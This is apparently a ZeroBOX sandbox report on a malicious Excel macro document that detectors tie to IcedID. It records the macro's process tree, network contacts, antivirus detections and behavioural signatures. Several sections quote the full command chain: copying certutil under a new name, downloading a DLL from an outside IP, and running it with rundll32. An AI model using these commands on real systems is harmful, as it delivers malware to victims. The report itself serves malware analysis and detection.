Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6402	June 22, 2021, 9:30 a.m.	June 22, 2021, 9:32 a.m.

Size	211.0KB
Type	Microsoft Excel 2007+
MD5	`6901ee3cdccb4f65c18375d2a31d8a25`
SHA256	`694a0501f01eba6b106984a2dc2e4dd8eb99cfce626d664a650f698f33b1ece6`
CRC32	`3E848FD4`
ssdeep	`3072:nWWzcY7qSZlOSE1vUlu/9K4QRfs1POOt7y50OMuK0nImlQ1uA7ZQCL/2:X3dZZAvUMNm+9kObufIe6QU+`
Yara	Contains_VBA_macro_code - Detect a MS Office document with embedded VBA macro code [binaries]

EXCEL.EXE "C:\Program Files (x86)\Microsoft Office\Office12\EXCEL.EXE" C:\Users\test22\AppData\Local\Temp\cancel_sub_KT901234567890123.xlsb
5580
- cmd.exe "C:\Windows\System32\cmd.exe" /c mkdir %programdata%\GT2pFbB && copy /b %SystemRoot%\System32\certutil.exe %programdata%\GT2pFbB\GT2pFbB.exe
  8800
- GT2pFbB.exe "C:\programdata\GT2pFbB\GT2pFbB.exe" -urlcache -f -split http://192.236.195.160 c:\programdata\GT2pFbB\GT2pFbB.dll
  7236
- cmd.exe "C:\Windows\System32\cmd.exe" /c rundll32 %programdata%\GT2pFbB\GT2pFbB.dll,StartW
  6472
  - rundll32.exe rundll32 C:\ProgramData\GT2pFbB\GT2pFbB.dll,StartW
    2268

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
172.217.25.14	Active	Moloch
192.236.195.160	Active	Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Queries for the computername (1 event)

Time & API	Arguments	Status	Return	Repeated
GetComputerNameW June 22, 2021, 9:30 a.m.	computer_name: TEST22-PC	1	1	0

Checks if process is being debugged by a debugger (1 event)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent June 22, 2021, 9:30 a.m.			0	0

Command line console output was observed (4 events)

Time & API	Arguments	Status	Return
WriteConsoleW June 22, 2021, 9:30 a.m.	buffer: 1 file(s) copied. console_handle: 0x00000007	1	1
WriteConsoleW June 22, 2021, 9:30 a.m.	buffer: ** (null) ** console_handle: 0x00000007	1	1
WriteConsoleW June 22, 2021, 9:30 a.m.	buffer: (null) console_handle: 0x00000007	1	1
WriteConsoleW June 22, 2021, 9:30 a.m.	buffer: CertUtil: 서버에 연결할 수 없습니다. console_handle: 0x00000007	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx June 22, 2021, 9:30 a.m.		1	1	0

One or more processes crashed (1 event)

Time & API	Arguments	Status	Return	Repeated
__exception__ June 22, 2021, 9:30 a.m.	stacktrace: CtfImeIsIME+0x36fd DllUnregisterServer-0xf9d9 msctf+0x2d08c @ 0x766fd08c TF_GetGlobalCompartment+0x3dfd CtfImeIsIME-0x344 msctf+0x2964b @ 0x766f964b TF_GetInputScope+0xf65 CtfImeDestroyThreadMgr-0x25ae msctf+0x14d6b @ 0x766e4d6b TF_GetInputScope+0x3176 CtfImeDestroyThreadMgr-0x39d msctf+0x16f7c @ 0x766e6f7c CtfImeDestroyInputContext+0x280 TF_CanUninitialize-0x1c msctf+0x1e825 @ 0x766ee825 TF_GetInputScope+0x21fc CtfImeDestroyThreadMgr-0x1317 msctf+0x16002 @ 0x766e6002 TF_GetInputScope+0x21e2 CtfImeDestroyThreadMgr-0x1331 msctf+0x15fe8 @ 0x766e5fe8 TF_GetInputScope+0xbdd CtfImeDestroyThreadMgr-0x2936 msctf+0x149e3 @ 0x766e49e3 TF_GetInputScope+0x1c1a CtfImeDestroyThreadMgr-0x18f9 msctf+0x15a20 @ 0x766e5a20 RtlIsCurrentThreadAttachExempt+0x5f TpCheckTerminateWorker-0x37 ntdll+0x39a91 @ 0x773d9a91 LdrShutdownProcess+0x97 RtlDetectHeapLeaks-0x1bb ntdll+0x58f10 @ 0x773f8f10 RtlExitUserProcess+0x74 LdrShutdownProcess-0x1d ntdll+0x58e5c @ 0x773f8e5c ExitProcess+0x15 TerminateThread-0xa kernel32+0x17a25 @ 0x75737a25 rundll32+0x135c @ 0x53135c rundll32+0x1901 @ 0x531901 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: ff 51 0c 8b 45 fc 89 be 8c 04 00 00 3b c7 74 25 exception.symbol: TF_GetCompatibleKeyboardLayout+0x5885 TF_IsCtfmonRunning-0xfd3 msctf+0x43ef4 exception.instruction: call dword ptr [ecx + 0xc] exception.module: MSCTF.dll exception.exception_code: 0xc0000005 exception.offset: 278260 exception.address: 0x76713ef4 registers.esp: 980064 registers.edi: 0 registers.eax: 44992952 registers.ebp: 980092 registers.edx: 1 registers.ebx: 0 registers.esi: 4696672 registers.ecx: 1915696604	1	0	0

Time & API

Arguments

Status

Return

Repeated

__exception__

June 22, 2021, 9:30 a.m.

stacktrace:

CtfImeIsIME+0x36fd DllUnregisterServer-0xf9d9 msctf+0x2d08c @ 0x766fd08c
TF_GetGlobalCompartment+0x3dfd CtfImeIsIME-0x344 msctf+0x2964b @ 0x766f964b
TF_GetInputScope+0xf65 CtfImeDestroyThreadMgr-0x25ae msctf+0x14d6b @ 0x766e4d6b
TF_GetInputScope+0x3176 CtfImeDestroyThreadMgr-0x39d msctf+0x16f7c @ 0x766e6f7c
CtfImeDestroyInputContext+0x280 TF_CanUninitialize-0x1c msctf+0x1e825 @ 0x766ee825
TF_GetInputScope+0x21fc CtfImeDestroyThreadMgr-0x1317 msctf+0x16002 @ 0x766e6002
TF_GetInputScope+0x21e2 CtfImeDestroyThreadMgr-0x1331 msctf+0x15fe8 @ 0x766e5fe8
TF_GetInputScope+0xbdd CtfImeDestroyThreadMgr-0x2936 msctf+0x149e3 @ 0x766e49e3
TF_GetInputScope+0x1c1a CtfImeDestroyThreadMgr-0x18f9 msctf+0x15a20 @ 0x766e5a20
RtlIsCurrentThreadAttachExempt+0x5f TpCheckTerminateWorker-0x37 ntdll+0x39a91 @ 0x773d9a91
LdrShutdownProcess+0x97 RtlDetectHeapLeaks-0x1bb ntdll+0x58f10 @ 0x773f8f10
RtlExitUserProcess+0x74 LdrShutdownProcess-0x1d ntdll+0x58e5c @ 0x773f8e5c
ExitProcess+0x15 TerminateThread-0xa kernel32+0x17a25 @ 0x75737a25
rundll32+0x135c @ 0x53135c
rundll32+0x1901 @ 0x531901
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5

exception.instruction_r: ff 51 0c 8b 45 fc 89 be 8c 04 00 00 3b c7 74 25
exception.symbol: TF_GetCompatibleKeyboardLayout+0x5885 TF_IsCtfmonRunning-0xfd3 msctf+0x43ef4
exception.instruction: call dword ptr [ecx + 0xc]
exception.module: MSCTF.dll
exception.exception_code: 0xc0000005
exception.offset: 278260
exception.address: 0x76713ef4
registers.esp: 980064
registers.edi: 0
registers.eax: 44992952
registers.ebp: 980092
registers.edx: 1
registers.ebx: 0
registers.esi: 4696672
registers.ecx: 1915696604

Allocates read-write-execute memory (usually to unpack itself) (13 events)

Time & API	Arguments	Status
NtProtectVirtualMemory June 22, 2021, 9:30 a.m.	process_identifier: 5580 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x70af1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 22, 2021, 9:30 a.m.	process_identifier: 5580 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x70b4f000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 22, 2021, 9:30 a.m.	process_identifier: 5580 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x70b4f000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 22, 2021, 9:30 a.m.	process_identifier: 5580 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73711000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 22, 2021, 9:30 a.m.	process_identifier: 5580 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06961000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 22, 2021, 9:30 a.m.	process_identifier: 5580 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74f41000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 22, 2021, 9:30 a.m.	process_identifier: 5580 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x75111000 process_handle: 0xffffffff	1
NtProtectVirtualMemory June 22, 2021, 9:30 a.m.	process_identifier: 5580 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x743c1000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 22, 2021, 9:30 a.m.	process_identifier: 5580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x074e0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 22, 2021, 9:30 a.m.	process_identifier: 5580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x074e0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 22, 2021, 9:30 a.m.	process_identifier: 5580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x074f0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 22, 2021, 9:30 a.m.	process_identifier: 5580 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x07500000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory June 22, 2021, 9:30 a.m.	process_identifier: 7236 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73772000 process_handle: 0xffffffff	1

Creates hidden or system file (3 events)

Time & API	Arguments	Status
NtCreateFile June 22, 2021, 9:30 a.m.	create_disposition: 2 (FILE_CREATE) file_handle: 0x00000394 filepath: C:\Users\test22\AppData\Local\Temp\~$cancel_sub_KT901234567890123.xlsb desired_access: 0xc0110080 (FILE_READ_ATTRIBUTES\|DELETE\|SYNCHRONIZE\|GENERIC_WRITE) file_attributes: 2 (FILE_ATTRIBUTE_HIDDEN) filepath_r: \??\C:\Users\test22\AppData\Local\Temp\~$cancel_sub_KT901234567890123.xlsb create_options: 4198496 (FILE_NON_DIRECTORY_FILE\|FILE_SYNCHRONOUS_IO_NONALERT\|FILE_DELETE_ON_CLOSE) status_info: 2 (FILE_CREATED) share_access: 1 (FILE_SHARE_READ)	1
NtCreateFile June 22, 2021, 9:30 a.m.	create_disposition: 2 (FILE_CREATE) file_handle: 0x00000404 filepath: C:\Users\test22\AppData\Local\Temp\~$cancel_sub_KT901234567890123.xlsb desired_access: 0xc0110080 (FILE_READ_ATTRIBUTES\|DELETE\|SYNCHRONIZE\|GENERIC_WRITE) file_attributes: 2 (FILE_ATTRIBUTE_HIDDEN) filepath_r: \??\C:\Users\test22\AppData\Local\Temp\~$cancel_sub_KT901234567890123.xlsb create_options: 4198496 (FILE_NON_DIRECTORY_FILE\|FILE_SYNCHRONOUS_IO_NONALERT\|FILE_DELETE_ON_CLOSE) status_info: 2 (FILE_CREATED) share_access: 1 (FILE_SHARE_READ)	1
NtCreateFile June 22, 2021, 9:30 a.m.	create_disposition: 2 (FILE_CREATE) file_handle: 0x000003fc filepath: C:\Users\test22\AppData\Local\Temp\~$cancel_sub_KT901234567890123.xlsb desired_access: 0xc0110080 (FILE_READ_ATTRIBUTES\|DELETE\|SYNCHRONIZE\|GENERIC_WRITE) file_attributes: 2 (FILE_ATTRIBUTE_HIDDEN) filepath_r: \??\C:\Users\test22\AppData\Local\Temp\~$cancel_sub_KT901234567890123.xlsb create_options: 4198496 (FILE_NON_DIRECTORY_FILE\|FILE_SYNCHRONOUS_IO_NONALERT\|FILE_DELETE_ON_CLOSE) status_info: 2 (FILE_CREATED) share_access: 1 (FILE_SHARE_READ)	1

Creates a suspicious process (2 events)

cmdline	"C:\Windows\System32\cmd.exe" /c mkdir %programdata%\GT2pFbB && copy /b %SystemRoot%\System32\certutil.exe %programdata%\GT2pFbB\GT2pFbB.exe
cmdline	"C:\Windows\System32\cmd.exe" /c rundll32 %programdata%\GT2pFbB\GT2pFbB.dll,StartW

A process created a hidden window (3 events)

Time & API	Arguments	Status	Return
ShellExecuteExW June 22, 2021, 9:30 a.m.	show_type: 0 filepath_r: cmd parameters: /c mkdir %programdata%\GT2pFbB && copy /b %SystemRoot%\System32\certutil.exe %programdata%\GT2pFbB\GT2pFbB.exe filepath: cmd	1	1
ShellExecuteExW June 22, 2021, 9:30 a.m.	show_type: 0 filepath_r: c:\programdata\GT2pFbB\GT2pFbB.exe parameters: -urlcache -f -split http://192.236.195.160 c:\programdata\GT2pFbB\GT2pFbB.dll filepath: c:\programdata\GT2pFbB\GT2pFbB.exe	1	1
ShellExecuteExW June 22, 2021, 9:30 a.m.	show_type: 0 filepath_r: cmd parameters: /c rundll32 %programdata%\GT2pFbB\GT2pFbB.dll,StartW filepath: cmd	1	1

File has been identified by 9 AntiVirus engines on VirusTotal as malicious (9 events)

Elastic	malicious (high confidence)
CAT-QuickHeal	XLS4.IcedID.42146
ESET-NOD32	VBA/TrojanDownloader.Agent.WFO
Avast	SNH:Script [Dropper]
McAfee-GW-Edition	X97M/Downloader.iy
ZoneAlarm	HEUR:Trojan.MSOffice.Generic
McAfee	X97M/Downloader.iy
Fortinet	MSExcel/SneakyBin.AB!tr
AVG	SNH:Script [Dropper]

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses June 22, 2021, 9:30 a.m.	flags: 15 family: 0		111	0

Uses Windows utilities for basic Windows functionality (2 events)

cmdline	cmd /c mkdir %programdata%\GT2pFbB && copy /b %SystemRoot%\System32\certutil.exe %programdata%\GT2pFbB\GT2pFbB.exe
cmdline	"C:\Windows\System32\cmd.exe" /c mkdir %programdata%\GT2pFbB && copy /b %SystemRoot%\System32\certutil.exe %programdata%\GT2pFbB\GT2pFbB.exe

Communicates with host for which no DNS query was performed (2 events)

host	172.217.25.14
host	192.236.195.160

A command shell or script process was created by an unexpected parent process (2 events)

parent_process	excel.exe				martian_process	cmd /c mkdir %programdata%\GT2pFbB && copy /b %SystemRoot%\System32\certutil.exe %programdata%\GT2pFbB\GT2pFbB.exe
parent_process	excel.exe				martian_process	cmd /c rundll32 %programdata%\GT2pFbB\GT2pFbB.dll,StartW

One or more non-whitelisted processes were created (6 events)

parent_process	excel.exe	martian_process	cmd /c mkdir %programdata%\GT2pFbB && copy /b %SystemRoot%\System32\certutil.exe %programdata%\GT2pFbB\GT2pFbB.exe
parent_process	excel.exe	martian_process	"C:\programdata\GT2pFbB\GT2pFbB.exe" -urlcache -f -split http://192.236.195.160 c:\programdata\GT2pFbB\GT2pFbB.dll
parent_process	excel.exe	martian_process	c:\programdata\GT2pFbB\GT2pFbB.exe -urlcache -f -split http://192.236.195.160 c:\programdata\GT2pFbB\GT2pFbB.dll
parent_process	excel.exe	martian_process	"C:\Windows\System32\cmd.exe" /c mkdir %programdata%\GT2pFbB && copy /b %SystemRoot%\System32\certutil.exe %programdata%\GT2pFbB\GT2pFbB.exe
parent_process	excel.exe	martian_process	cmd /c rundll32 %programdata%\GT2pFbB\GT2pFbB.dll,StartW
parent_process	excel.exe	martian_process	"C:\Windows\System32\cmd.exe" /c rundll32 %programdata%\GT2pFbB\GT2pFbB.dll,StartW

The process excel.exe wrote an executable file to disk which it then attempted to execute (1 event)

file	C:\Windows\System32\cmd.exe

Connects to IP addresses that are no longer responding to requests (legitimate services will remain up-and-running usually) (3 events)

dead_host	192.168.56.102:49814
dead_host	192.236.195.160:80
dead_host	192.168.56.102:49815

cancel_sub_KT901234567890123.xlsb

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All